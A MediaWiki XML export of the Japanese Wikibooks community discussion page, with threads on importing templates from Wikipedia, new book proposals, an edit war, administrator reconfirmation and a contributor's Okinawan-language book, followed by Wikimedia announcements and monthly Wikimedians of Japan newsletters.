Wikibooks:談話室

<mediawiki xmlns="http://www.mediawiki.org/xml/export-0.11/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.mediawiki.org/xml/export-0.11/ http://www.mediawiki.org/xml/export-0.11.xsd" version="0.11" xml:lang="ja">
  <siteinfo>
    <sitename>Wikibooks</sitename>
    <dbname>jawikibooks</dbname>
    <base>https://ja.wikibooks.org/wiki/%E3%83%A1%E3%82%A4%E3%83%B3%E3%83%9A%E3%83%BC%E3%82%B8</base>
    <generator>MediaWiki 1.48.0-wmf.1</generator>
    <case>first-letter</case>
    <namespaces>
      <namespace key="-2" case="first-letter">メディア</namespace>
      <namespace key="-1" case="first-letter">特別</namespace>
      <namespace key="0" case="first-letter" />
      <namespace key="1" case="first-letter">トーク</namespace>
      <namespace key="2" case="first-letter">利用者</namespace>
      <namespace key="3" case="first-letter">利用者・トーク</namespace>
      <namespace key="4" case="first-letter">Wikibooks</namespace>
      <namespace key="5" case="first-letter">Wikibooks・トーク</namespace>
      <namespace key="6" case="first-letter">ファイル</namespace>
      <namespace key="7" case="first-letter">ファイル・トーク</namespace>
      <namespace key="8" case="first-letter">MediaWiki</namespace>
      <namespace key="9" case="first-letter">MediaWiki・トーク</namespace>
      <namespace key="10" case="first-letter">テンプレート</namespace>
      <namespace key="11" case="first-letter">テンプレート・トーク</namespace>
      <namespace key="12" case="first-letter">ヘルプ</namespace>
      <namespace key="13" case="first-letter">ヘルプ・トーク</namespace>
      <namespace key="14" case="first-letter">カテゴリ</namespace>
      <namespace key="15" case="first-letter">カテゴリ・トーク</namespace>
      <namespace key="100" case="first-letter">Transwiki</namespace>
      <namespace key="101" case="first-letter">Transwiki‐ノート</namespace>
      <namespace key="710" case="first-letter">TimedText</namespace>
      <namespace key="711" case="first-letter">TimedText talk</namespace>
      <namespace key="828" case="first-letter">モジュール</namespace>
      <namespace key="829" case="first-letter">モジュール・トーク</namespace>
      <namespace key="1728" case="first-letter">Event</namespace>
      <namespace key="1729" case="first-letter">Event talk</namespace>
    </namespaces>
  </siteinfo>
  <page>
    <title>Wikibooks:談話室</title>
    <ns>4</ns>
    <id>30</id>
    <revision>
      <id>305229</id>
      <parentid>305149</parentid>
      <timestamp>2026-10-31T12:44:49Z</timestamp>
      <contributor>
        <username>MediaWiki message delivery</username>
        <id>14540</id>
      </contributor>
      <comment>/* Wikimedians of Japan User Group 2026-10 */ 新しい節</comment>
      <origin>305229</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="174135" sha1="qw2te28ivbp7ku6i7nw52wgw7qldh70" xml:space="preserve">{{談話室}}
ある程度時間のたった議論は[[/過去ログ]]に移動されます。最新の過去ログは [[特別:固定リンク/291757|2026年01月24日 (土) 01:14(UTC)の版]]です（確認日: 2026年1月26日）。過去ログ化の方法については[[Wikibooks:過去ログ化のガイドライン]]を参照ください。

{{/告知}}

== WikipediaからWikibooksへのテンプレートの移入とTranswiki名前空間 ==

Wikipediaで使用されているテンプレートの多くがWikibooks上では導入されておらず、いつものWikipediaの記法でWikibooksを執筆しようとするとテンプレート不在のエラーが多発します。そこでWikipediaからテンプレートを移入 (移植) したいのですが、3点教えて頂きたいことがございます。
# (移入かゼロから自力作成するかは問わず) Wikibooks上でのテンプレートの新規作成は、事前に合意形成などが必要なのでしょうか？それとも好き勝手作っていいものなのでしょうか？
# 仮に移入してくる時には、他言語版からの翻訳時と同様の履歴継承方法 (Oldid指定で継承元を示す、あるいはテンプレート名+日時明記する) で問題ないでしょうか？
# 「[[Wikibooks:蔵書一覧/テンプレート一覧#Transwiki名前空間]]」によると、テンプレートを置く名前空間はWikibooksテンプレート空間の場合と、Transwiki名前空間と2種類あるように読めるのですが、このTranswiki名前空間にあるテンプレート群は何なのでしょうか？

質問の背景をお伝えしておくと、私の活動している法学の分野では伝統的に法律の概説はWikipediaに執筆し、逐条解説 (1つ1つの条文の細かい解釈や具体例などの提示) はWikibooksに譲るという棲み分けを行ってきたようです。現在私がWikipedia上で加筆している記事の記述が逐条解説まで踏み込んで肥大化してしまったので、一部はWikibooks側に書いた方が良さそうだ、と判断しました。ご存じのとおりWikipediaでは「[[w:Wikipedia:検証可能性|Wikipedia:検証可能性]]」が重視されていて、そのノリで信頼性の高い出典をガチガチに揃えて逐条解説の下書きをしていたのですが、いざ下書きをWikibooksのサンドボックスに投稿したところ ([[Special:Permalink/264757|編集差分]])、出典・脚注系のテンプレートがことごとく存在せずにエラーが出ています。

また、Transwiki名前空間にあるらしい「仮リンク」のテンプレートは、Wikipediaでも多用していたのでWikibooksでも使用したいのですが、Transwiki上にある「仮リンク」はWikibooksで &lt;nowiki&gt;{{{{仮リンク|あいうえお|en|ABC}}}}&lt;/nowiki&gt; と記述してそのまま使えるのか、いまいちよく分かりません。[[特別:リンク元/Transwiki:仮リンク]] を見ても、現時点でWikibooksの標準名前空間で使用しているケースはゼロのようです。

Wikipediaと比較してWikibooksの活動が過疎ぎみなのは承知しておりまして、ここで愚痴を言いたいわけではなく、何とか使える形にしたいという前向きな質問の意図だと汲んで頂ければ幸いです。--[[利用者:ProfessorPine|ProfessorPine]] ([[利用者・トーク:ProfessorPine|トーク]]) 2024年12月7日 (土) 03:15 (UTC)

:一年以上、議論が止まっていますが、重要な問題なので検討を継続したいと思います。
:個人的には、翻訳などと同様移植元の履歴が継承されていれば問題はなかろうと考えています。--[[利用者:Tomzo|Tomzo]] ([[利用者・トーク:Tomzo|トーク]]) 2026年1月26日 (月) 00:10 (UTC)
::{{コメント2|横から失礼}} 私は管理者などをやったことがないのでわからないのですが、Wiki間インポートを実施するのはいかがですか？
::その後に、Wikibooksに合う形に微調整した方が楽に感じます。
::おそらくですが、[[WB:IP]]を見る感じ、コピーアンドペーストは推奨されてない方法に思います。
::私が、管理者権限を持っていたら、協力したいのですが、[[利用者:Tomzo|Tomzo]]さんなどの管理者の協力が必須に感じます…--[[利用者:なまえみてい|なまえみてい]] ([[利用者・トーク:なまえみてい|トーク]]) 2026年2月4日 (水) 10:40 (UTC)

== 「デスクトップLinux入門」を作りたい ==

サーバーではなくデスクトップ向けの，GNU/Linuxディストリビューションのインストール・利用方法を解説した文書をつくりたいと思っています。構想は[[利用者:KASAI_Toushi/デスクトップLinux入門]]にあります。
これにあたって，二つほど質問があります。
* この構想は，Wikibooksでは受け入れられますか？
* タイトルは「デスクトップLinux入門」で問題ないでしょうか？
[[利用者:KASAI Toushi|KASAI Toushi]] ([[利用者・トーク:KASAI Toushi|トーク]]) 2025年2月28日 (金) 03:55 (UTC)
:内容に関してコメントはしかねますが（後述）、原則として受け入れには何ら問題はないと思います。むしろ歓迎です。
:[[情報技術]]にリンク元を作成して、後はツリー構造で作成することをお勧めします。
:「サーバーではなくデスクトップ向けの」という教科書を既存のLinux関係の教科書から分割して作成するのが適当かは不明ですので、それは知見者の方の間で相談いただければと思います。ただ、統合することのメリットが希薄なようであれば、作成することが、wikibooksにはメリットとは考えます。--[[利用者:Tomzo|Tomzo]] ([[利用者・トーク:Tomzo|トーク]]) 2025年2月28日 (金) 07:06 (UTC)

ご返信ありがとうございます。分割すべきかどうかはまだ分からないので、利用者ページに下書きを書いておきます。
[[利用者:KASAI Toushi|KASAI Toushi]] ([[利用者・トーク:KASAI Toushi|トーク]])

== 編集合戦の件 ==

@[[利用者:Tomzo|Tomzo]]様

~2025-47348氏とHousehome100氏の編集合戦について、どの版まで差し戻しになりますか？（4月中旬から彼らが編集に関わり始めましたが、彼らが関わる前の版にまで遡るのか、編集合戦が発生した（と判断できる）編集の直前の版になるのか）。もし彼らが関わる前の版に戻すとなると、（~2025-47348氏が行った）すじ肉氏が嘗て書いた問題のある版の修正が取り消されることになるので、それの再修正に多くの労力を割くことになりそうです。--[[特別:投稿記録/&amp;#126;2025-49873|&amp;#126;2025-49873]] ([[利用者・トーク:&amp;#126;2025-49873|会話]]) 2025年5月2日 (金) 08:07 (UTC)

:本来、ブロック中の編集者が別アカウントで作成した記事は、ブロックの意味をなくすため新規ページは削除、加筆等の編集は削除の上、不可視化とすべきところですが、今回はあまりにも量が多いため、個別の要望を待って対処したいと思います。もし、ページ削除・不可視化等が必要でしたら、最新版を適当なものにするなどご対応の上、削除等の依頼をお願いします。過去履歴の不可視化まで必要ないとお考えであれば、適当と考えられる最新版作成（過去の版へのリバートも可）で十分足りるとは考えています。--[[利用者:Tomzo|Tomzo]] ([[利用者・トーク:Tomzo|トーク]]) 2025年5月2日 (金) 08:24 (UTC)

== 移動依頼 ==

[[旧課程(-2012年度)高等学校数学A/集合と論理]]を[[高等学校数学I/集合と論理]]へ移動お願いします。
*理由:「集合と命題」の内容は2013年度以降『数学I』の範囲になっている。
--[[特別:投稿記録/&amp;#126;2025-57596|&amp;#126;2025-57596]] ([[利用者・トーク:&amp;#126;2025-57596|会話]]) 2025年5月24日 (土) 02:25 (UTC)

:対応に関して 「[[トーク:高等学校数学#「学習指導要領」改正に伴う課程の変動について]]」を作成しましたので、ご確認ください。--[[利用者:Tomzo|Tomzo]] ([[利用者・トーク:Tomzo|トーク]]) 2025年5月28日 (水) 06:56 (UTC)

== 検索した時に予測候補（サジェスト）が出ないようにできませんか？ ==

以前は無かったはずです。人によっては不快に感じると思います。--[[特別:投稿記録/&amp;#126;2025-67762|&amp;#126;2025-67762]] ([[利用者・トーク:&amp;#126;2025-67762|会話]]) 2025年6月14日 (土) 14:13 (UTC)

:それは難しいと思います。--[[利用者:KINGDOM OF ITALY|KINGDOM OF ITALY]] ([[利用者・トーク:KINGDOM OF ITALY|トーク]]) 2025年7月31日 (木) 08:24 (UTC)

== 管理者の再信任のための「定期的な投票」実施について ==

皆さん、こんにちは。このたび、[[Wikibooks:管理者の辞任#管理者の再信任投票]]に基づく2025年9月末で任期末を迎える現管理者3名の再信任のための「定期的な投票」を実施したく存じます。方針によれば、「各管理者に対し原則として毎年」行われるべき再信任投票ですが、ここ5年間行われておらず（前回は[[Wikibooks:管理者への立候補/再信任投票/202009|2020年9月]]）、現管理者の方3名の無投票での留任が続いております。そこで当コミュニティの事前告知期間も踏まえ2週間後の2025年9月1日（予定）に投票ページとして「[[Wikibooks:管理者への立候補/再信任投票 202509]]」を作成いたします。そこから2週間（336時間）の投票期間を設けたいと存じます。なお、管理者の一人である {{admin|かげろん}} さんは、この再信任投票開始の時点までに活動がない場合には方針に基づき自動退任となります。以上につきまして何かコメントなどございましたらお寄せください。それでは何卒よろしくお願いいたします。--[[利用者:Shokupan|Shokupan]] ([[利用者・トーク:Shokupan|トーク]]) 2025年8月18日 (月) 04:27 (UTC)

:{{コメント2|報告}} 事前告知のとおり、[[Wikibooks:管理者への立候補/再信任投票 202509|管理者の再信任投票ページ]]を作成いたしましたので、ご報告いたします。--[[利用者:Shokupan|Shokupan]] ([[利用者・トーク:Shokupan|トーク]]) 2025年9月1日 (月) 04:16 (UTC)

== 根気が足りない…… ==

現在[[沖縄語]]を執筆しているのですが、全て書き終わる前に根気が尽きてしまいそうです。
[[沖縄語]]を執筆したとて、正直誰の役に立つのか分かりませんし、需要があるのかもよく分かりませんし、そもそもwikibooksの知名度からして執筆しても自分以外見ないのではないかとさえ思うと書く意味はなんなのかなと思います。
今、完成している語学のページは、私が知る限り[[ペルシア語]]だけです。沖縄語も完成させたいという気持ちはありますが、書くべき章を整理したところあまりにも膨大で……。
章は「初級」「中級」「上級」に分けました。根気が続かなかったら途中で私は失踪すると思いますが、同時に、沖縄語は現在消滅の危機にあり、私が失踪したら誰も続きを書いてくれないだろうな……と思います。
じゃあ書かないと！とは思うのですが、なんかやる気が足りないです。
長々と申し訳ありませんでした。もしこれを読んでくださる方がおりましたら、なにかコメントをくださると嬉しいです。また、ウチナーグチのわかる方がいらっしゃいましたら、[[沖縄語]]に軽く目を通して変なところはないか見てくださると助かります。--[[利用者:さきじょーぐー|さきじょーぐー]] ([[利用者・トーク:さきじょーぐー|トーク]]) 2025年9月18日 (木) 09:28 (UTC)

:お疲れ様です。
:当方も哲学・倫理学・歴史を中心にいろいろ書いているのですが、2年前の事案でウィキブレイク状態で、ほとんど大したものは書いていません。さきじょーぐーさんが沖縄語のページを充実させていらっしゃること、敬服しております。
:確かにここは知名度も低いのですが、ウィキペディアほどにはおかしな人物が来ないですし、自由にできると思ってはいかがでしょうか。
:なお、沖縄語は全くわからないのでそちらの方には力になれません……。申し訳ないです。--[[利用者:椎楽|椎楽]] ([[利用者・トーク:椎楽|トーク]]) 2025年9月21日 (日) 11:20 (UTC)
::ありがとうございます。まだwikiに参加したばかりなので出会ったことはありませんが、おかしな方があまり来ないというのは、沖縄という政治的に揉めやすいものを扱っているのもありとても嬉しいです。頑張って執筆します。--[[利用者:さきじょーぐー|さきじょーぐー]] ([[利用者・トーク:さきじょーぐー|トーク]]) 2025年9月24日 (水) 05:13 (UTC)

== 申し訳ありませんがご協力ください。 ==

===ご挨拶===
まずは、皆様にご挨拶させていただきます。アンサイクロペディアから参りました、「たけのこの土」と申します。まだまだ頭の硬い方には慣れていませんが、どうぞよろしくお願いします。

===お願いしたい点===
この度、Wikipediaでも活動したいと思い、アカウント作成をしようとしたところ、まさかの自分が使用しているIPアドレスが広域ブロックを受けているということで、アカウントを作成することができませんでした。Wikipediaとアカウントが共通しているということでこちらなら出来るかもしれないとアカウント作成したところ、作成できたので…。

ということで、お手数ではございますが、IPの広域ブロック解除に詳しい方がいらっしゃいましたら、解除していただけるとありがたく存じます。--[[利用者:たけのこの土|たけのこの土]] ([[利用者・トーク:たけのこの土|トーク]]) 2025年10月9日 (木) 03:08 (UTC)

== &lt;span lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Help us decide the name of the new Abstract Wikipedia project&lt;/span&gt; ==

&lt;div lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;
&lt;section begin=&quot;function1&quot;/&gt;
{{int:Hello}}. Please help pick a name for the new Abstract Wikipedia wiki project. This project will be a wiki that will enable users to combine functions from [[:f:|Wikifunctions]] and data from Wikidata in order to generate natural language sentences in any supported languages. These sentences can then be used by any Wikipedia (or elsewhere).

There will be two rounds of voting, each followed by legal review of candidates, with votes beginning on 20 October and 17 November 2025. Our goal is to have a final project name selected on mid-December 2025. If you would like to participate, then '''[[m:Special:MyLanguage/Abstract Wikipedia/Abstract Wikipedia naming contest|please learn more and vote now]]''' at meta-wiki.
{{Int:Feedback-thanks-title}}
&lt;section end=&quot;function1&quot;/&gt;
&lt;/div&gt;

-- [[User:Sannita (WMF)|User:Sannita (WMF)]] ([[User talk:Sannita (WMF)|talk]]) 2025年10月20日 (月) 11:42 (UTC)
&lt;!-- User:Sannita (WMF)@metawiki が https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery&amp;oldid=29432175 のリストを使用して送信したメッセージ --&gt;

== 運動のいくつかの委員会で新任のボランティア委員を募集中 ==

&lt;section begin=&quot;announcement-content&quot; /&gt;
例年10月から12月の期間に、ウィキメディア運動の委員会の一部では新任のボランティア委員を募集します。 

それぞれの委員会の詳細は、個別のページがメタウィキにありますのでご参照ください。
* [[m:Special:MyLanguage/Affiliations Committeee|提携団体委員会]]（略称AffCom、Affiliations Committee）
* [[m:Special:MyLanguage/Ombuds commission|オンブズ委員会]]（頭字語OC＝Ombuds commission）
* [[m:Special:MyLanguage/Wikimedia Foundation/Legal/Community Resilience and Sustainability/Trust and Safety/Case Review Committee|事案評価委員会]]（頭字語CRC＝Case Review Committee）

これら委員会への立候補申請は2025年10月30日から受け付けます。立候補の受付〆切は、提携団体委員会が2025年12月11日、オンブズ委員会と事案評価委員会は2025年12月11日です。立候補申請の手順は[[m:Special:MyLanguage/Wikimedia Foundation/Legal/Committee appointments|Meta-wiki（メタウィキ）にある任命ページ]]をご一読願います。ご質問はその議論ページに投稿するか、メールの場合は cst[[File:At sign.svg|16x16px|link=|(_AT_)]]wikimedia.org 宛にお送りください。

委員会支援チームの一同より
&lt;section end=&quot;announcement-content&quot; /&gt;

-[[m:User:MKaur (WMF)| MKaur (WMF)]] 2025年10月30日 (木) 14:12 (UTC)
&lt;!-- User:MKaur (WMF)@metawiki が https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery&amp;oldid=29517125 のリストを使用して送信したメッセージ --&gt;

== Wikimedians of Japan User Group 2025-10 ==

'''全体ニュース'''
* 1月から6月までの[https://wikimediafoundation.org/who-we-are/transparency/2025-1/ 透明性レポート](英語)が公表されました。
* 提携団体委員会、オンブズ委員会、事案審査委員会への[[:m:Wikimedia_Foundation/Legal/Committee_appointments/ja|応募]]受付が開始されました。

'''ESEAPハブからのおしらせ'''[[File:ESEAP logo horizontal.svg|40px|link=:m:ESEAP_Hub/ja]]
* 11月9日16時(JST)から[[:m:Event:ESEAP_Community_Call_53_(9_November_2025)|オンラインミーティング]]が行われます。

'''Wikimedians of Japan User Groupからのおしらせ'''[[File:Wikimedians of Japan User Group Logoonly.svg|20px|link=:m:Wikimedians_of_Japan_User_Group]]
* 11月7日、8日に開催される[https://www.k-of.jp/2025/ 関西オープンフォーラム]に参加します。
* 11月22日に開催される[https://event.ospn.jp/osc2025-fukuoka/ OSC福岡]に参加します。また、翌23日には[https://techplay.jp/event/987206 オープンデータを作ろう！ with ウィキメディアもくもく会 in 北九州]を[https://www.osmf.jp OSMFJ]と共催します。

'''[[:w:ja:メインページ|日本語版ウィキペディア]]'''[[File:Wikipedia-logo-v2.svg|20px|link=:w:ja:]]
* [[:w:ja:Wikipedia:ウィキペディア・アジア月間|アジア月間]]が行われます。

* 今月は以下の記事が[[:w:ja:Wikipedia:良質な記事/良質な記事の選考|良質な記事の選考]]を通過しました。
**[[:w:ja:魚梁船|魚梁船]]
**[[:w:ja:生得性仮説|生得性仮説]]
**[[:w:ja:炎舞|炎舞]]
**[[:w:ja:エリダヌス座|エリダヌス座]]
**[[:w:ja:中堀由希子|中堀由希子]]
**[[:w:ja:いて座|いて座]]
**[[:w:ja:スティーブン (イングランド王)|スティーブン (イングランド王)]]
**[[:w:ja:君と宇宙を歩くために|君と宇宙を歩くために]]
**[[:w:ja:久隔帖|久隔帖]]

* 今月の1枚
[[File:Lunar eclipse of 2025 September 7 (Montage s3).jpg|alt=|left|thumb|200x200px|​2025年9月7日の皆既[[:w:ja:月食|月食]]の時系列画像]]

'''[[:f:|ウィキファンクションズ]]'''[[File:Wikifunctions-logo.svg|20px|link=:f:]]
*
* 抽象ウィキペディア(Abstract Wikipedia)の[[:m:Abstract_Wikipedia/Abstract_Wikipedia_naming_contest|正式名称]]の第1回投票は11月3日までです。

'''11月のイベント情報'''
* 11/1 [https://tobemori-seeds.com/archives/2999 とべもりウィキペディアタウン]
* 11/8 [https://mykoho.jp/article/012084/9874593/9964880 ウィキペディアタウン in 北見ワークショップ]
* 11/8 [https://www.lib.city-hokuto.ed.jp/akeno/event-info/316/ ウィキペディアタウン＠北杜in明野]
* 11/9 [https://www2.city.tahara.aichi.jp/section/library/info/2511wikiatumi.html ウィキペディアタウンin渥美]
* 11/9 [https://www.city.higashikurume.lg.jp/library/1024999/1027652.html ウィキペディアタウンin東久留米 ～武蔵野鉄道引き込み線～]
* 11/15 [https://www.town.nakai.kanagawa.jp/soshiki/chiikibosaikachiikijohohan/citypromo/3716.html ウィキペディアタウンin里都]
* 11/23 [https://facebook.com/events/s/wikipedia%E3%83%95%E3%83%B3%E3%82%AB%E3%82%AF14%E5%9D%82%E5%8F%A3%E5%AE%89%E5%90%BE/1534587237725121/ Wikipediaブンガク 坂口安吾]
* 11/29 [https://www.city.yokkaichi.lg.jp/www/contents/1724135632047/index.html みんなで「あさけ」界隈を歩いてウィキペディアと世界地図に足跡を残そう！]
* 11/30 [https://www.city.inazawa.aichi.jp/museum/0000005195.html ウィキペディアタウン稲沢]

'''前回配信：2025年9月30日'''

&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
配信元： ''[[:m:Wikimedians of Japan User Group|Wikimedians of Japan User Group]]''&lt;br /&gt;
&lt;small&gt;[[:m:Talk:Wikimedians of Japan User Group/メールマガジン|フィードバック]]。[[:m:Wikimedians of Japan User Group/メールマガジン/targets list| 登録・削除]]。&lt;/small&gt;2025年10月31日 (金) 09:53 (UTC)
&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
&lt;!-- User:Chqaz-WMJPUG@metawiki が https://meta.wikimedia.org/w/index.php?title=Wikimedians_of_Japan_User_Group/%E3%83%A1%E3%83%BC%E3%83%AB%E3%83%9E%E3%82%AC%E3%82%B8%E3%83%B3/targets_list&amp;oldid=29400209 のリストを使用して送信したメッセージ --&gt;

== &lt;span lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Reminder: Help us decide the name of the new Abstract Wikipedia project&lt;/span&gt; ==

&lt;div lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;
&lt;section begin=&quot;function2&quot;/&gt;
{{int:Hello}}. Reminder: Please help to choose name for the new Abstract Wikipedia wiki project. The finalist vote starts today. The finalists for the name are: &lt;span lang=&quot;en&quot; dir=&quot;ltr&quot; class=&quot;mw-content-ltr&quot;&gt;Abstract Wikipedia, Multilingual Wikipedia, Wikiabstracts, Wikigenerator, Proto-Wiki&lt;/span&gt;. If you would like to participate, then '''[[m:Special:MyLanguage/Abstract Wikipedia/Abstract Wikipedia naming contest|please learn more and vote now]]''' at meta-wiki.
{{Int:Feedback-thanks-title}}
&lt;section end=&quot;function2&quot;/&gt;
&lt;/div&gt;

-- [[User:Sannita (WMF)|User:Sannita (WMF)]] ([[User talk:Sannita (WMF)|talk]]) 2025年11月20日 (木) 14:21 (UTC)
&lt;!-- User:Sannita (WMF)@metawiki が https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery&amp;oldid=29583860 のリストを使用して送信したメッセージ --&gt;

== Wikimedians of Japan User Group 2025-11 ==

'''全体ニュース'''
* ウィキメディア財団の[[:foundation:File:Wikimedia_Foundation_FY_24-25_Audit_Report.pdf|監査報告]](英語)が公表されました。
* 提携団体委員会、オンブズ委員会、事案審査委員会への[[:m:Wikimedia_Foundation/Legal/Committee_appointments/ja|応募]]は12月11日までです。
* ウィキマニア2027はチリのサンディエゴで開催されることが決定しました。

'''ESEAPハブからのおしらせ'''[[File:ESEAP logo horizontal.svg|40px|link=:m:ESEAP_Hub/ja]]
* 12月6日17時半(JST)から[[:m:Event:ESEAP_Community_Call_54_(6_December_2025)|オンラインミーティング]]が行われます。

'''Wikimedians of Japan User Groupからのおしらせ'''[[File:Wikimedians of Japan User Group Logoonly.svg|20px|link=:m:Wikimedians_of_Japan_User_Group]]
* 12月6日に大阪大学中之島センターにて、[[:m:Wikimedians of Japan User Group/events/West-Japan Wikimedia Conference 2025|West-Japan Wikimedia Conference 2025]]を開催します。
* 翌7日には[https://opendata-mokumoku2025.peatix.com/view もくもく会]を開催します。

'''[[:w:ja:メインページ|日本語版ウィキペディア]]'''[[File:Wikipedia-logo-v2.svg|20px|link=:w:ja:]]
* 今月は以下の記事が[[:w:ja:Wikipedia:良質な記事/良質な記事の選考|良質な記事の選考]]を通過しました。
**[[:w:ja:根岸町 (仙台市)|根岸町 (仙台市)]]
**[[:w:ja:遮光器土偶|遮光器土偶]]
**[[:w:ja:尾去沢銅山事件|尾去沢銅山事件]]
**[[:w:ja:雄勝地区|雄勝地区]]
**[[:w:ja:ギャラクシー・ズー|ギャラクシー・ズー]]
**[[:w:ja:ジ・アート・オブ・チャーリー・チャン・ホックチャイ|ジ・アート・オブ・チャーリー・チャン・ホックチャイ]]
**[[:w:ja:第一次ポエニ戦争の講和条約|第一次ポエニ戦争の講和条約]]
**[[:w:ja:道鏡|道鏡]]
**[[:w:ja:八方池|八方池]]
**[[:w:ja:マケドニア名称論争|マケドニア名称論争]]
**[[:w:ja:連室細管|連室細管]]
**[[:w:ja:オヴィリ|オヴィリ]]
**[[:w:ja:原阿佐緒|原阿佐緒]]
**[[:w:ja:宇佐八幡宮神託事件|宇佐八幡宮神託事件]]
**[[:w:ja:薬師岳の圏谷群|薬師岳の圏谷群]]
**[[:w:ja:うしかい座|うしかい座]]
**[[:w:ja:上海郵便局|上海郵便局]]
**[[:w:ja:日本大辞書|日本大辞書]]
**[[:w:ja:細川ガラシャ|細川ガラシャ]]
* 今月の1枚
[[File:Irozaki 20210131-2.jpg|alt=|thumb|200x200px|静岡県南伊豆町にある[[:w:ja:石廊崎|石廊崎]]の先端の画像|none]]

'''[[:wmfblog:|Diff]]'''
Diffはウィキメディアに関するブログプラットフォームです。今月から毎月Diffの掲載された記事を紹介します。タイトル / 著者；翻訳者 (掲載日) の順で記載しています。

* [https://diff.wikimedia.org/ja/2025/11/01/%e3%80%8c%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a2%e3%82%bf%e3%82%a6%e3%83%b3in%e5%b2%a9%e6%9d%91%e3%80%8d%e3%81%ab%e5%8f%82%e5%8a%a0%e3%81%99%e3%82%8b/ 「ウィキペディアタウンin岩村」に参加する] / Asturio Cantabrio	 (2025/11/01)
* [https://diff.wikimedia.org/ja/2025/11/02/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%bb%e3%83%af%e3%83%bc%e3%83%ab%e3%83%89in%e5%9b%b3%e6%9b%b8%e9%a4%a8%e7%b7%8f%e5%90%88%e5%b1%952025%ef%bc%9a%e3%82%a6%e3%82%a3/ ウィキメディア・ワールドin図書館総合展2025：ウィキマニア・ナイロビ参加報告] / Wadakuramon (	2025/11/02)
* [https://diff.wikimedia.org/ja/2025/11/02/%e3%80%8c%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a2%e3%81%ab%e3%82%83%e3%82%a6%e3%83%b3-vol-8%e2%91%a1-%e6%96%87%e5%8c%96%e8%b2%a1xwikipedia%e3%80%8d%e3%81%ab%e5%8f%82/ 「ウィキペディアにゃウン vol.8② 文化財×Wikipedia」に参加する] / Asturio Cantabrio (2025/11/02)
* [https://diff.wikimedia.org/ja/2025/11/03/wikipedia%e8%a8%98%e4%ba%8b%e3%80%8c%e6%b8%af%e5%8d%97%e5%8f%b0%e3%82%b7%e3%83%8d%e3%82%b5%e3%83%ad%e3%83%b3%e3%80%8d%e3%82%92%e4%bd%9c%e6%88%90%e3%81%99%e3%82%8b/ Wikipedia記事「港南台シネサロン」を作成する] / Asturio Cantabrio (2025/11/03)
* [https://diff.wikimedia.org/ja/2025/11/03/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%82%82%e3%81%8f%e3%82%82%e3%81%8f%e4%bc%9a2025%e5%b9%b410%e6%9c%88%e6%9d%b1%e4%ba%ac%e3%81%a7%e8%aa%95%e7%94%9f%ef%bc%81wikidata/ ウィキメディアもくもく会2025年10月東京で誕生！Wikidata項目欠落検索ツール『Wikidata Missing』] / Ecute (2025/11/03)
* [https://diff.wikimedia.org/ja/2025/11/04/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9e%e3%83%8b%e3%82%a22027%e9%96%8b%e5%82%ac%e5%9c%b0%e6%b1%ba%e5%ae%9a/ ウィキマニア2027開催地決定] / Wikimania Steering Committee (2025/11/04)
* [https://diff.wikimedia.org/ja/2025/11/06/73%e6%ad%b3%e3%81%ae%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%b3%e3%81%ae%e4%b8%80%e6%97%a5/ 73歳のウィキメディアンの一日] / Wadakuramon (2025/11/06)
* [https://diff.wikimedia.org/ja/2025/11/07/%e3%82%a6%e3%82%a3%e3%82%ad%e3%82%ab%e3%83%b3%e3%83%95%e3%82%a1%e3%83%ac%e3%83%b3%e3%82%b9%e3%83%bb%e3%82%bd%e3%82%a6%e3%83%ab2025%e3%80%81%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3/ ウィキカンファレンス・ソウル2025、ウィキメディアの未来は多様性にあり] / Wikimedia Korea ; Wadakuramon (2025/11/07)
* [https://diff.wikimedia.org/ja/2025/11/14/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a2%e5%88%a9%e7%94%a8%e8%80%85%e3%81%ab%e6%96%b0%e3%81%97%e3%81%84%e3%83%88%e3%83%ac%e3%83%b3%e3%83%89/ ウィキペディア利用者に新しいトレンド] Marshall Miller ; Omotecho (2025/11/14)
* [https://diff.wikimedia.org/ja/2025/11/16/%e9%96%a2%e8%a5%bf%e3%82%aa%e3%83%bc%e3%83%97%e3%83%b3%e3%83%95%e3%82%a9%e3%83%bc%e3%83%a9%e3%83%a0%e3%81%a7%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9e%e3%83%8b%e3%82%a2%e3%81%ae%e8%a9%b1%e3%82%92%e3%81%97/ 関西オープンフォーラムでウィキマニアの話をしました] / Wadakuramon (2025/11/16)
* [https://diff.wikimedia.org/ja/2025/11/26/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e5%9b%b3%e6%9b%b8%e9%a4%a8%ef%bc%9a100%e4%b8%87%e4%bb%b6%e3%81%ae%e3%83%aa%e3%83%b3%e3%82%af%e3%81%a8%e3%81%9d%e3%81%ae%e5%85%88/ ウィキメディア図書館：100万件のリンクとその先] / Vipin SJ；Omotecho (2025/11/26)
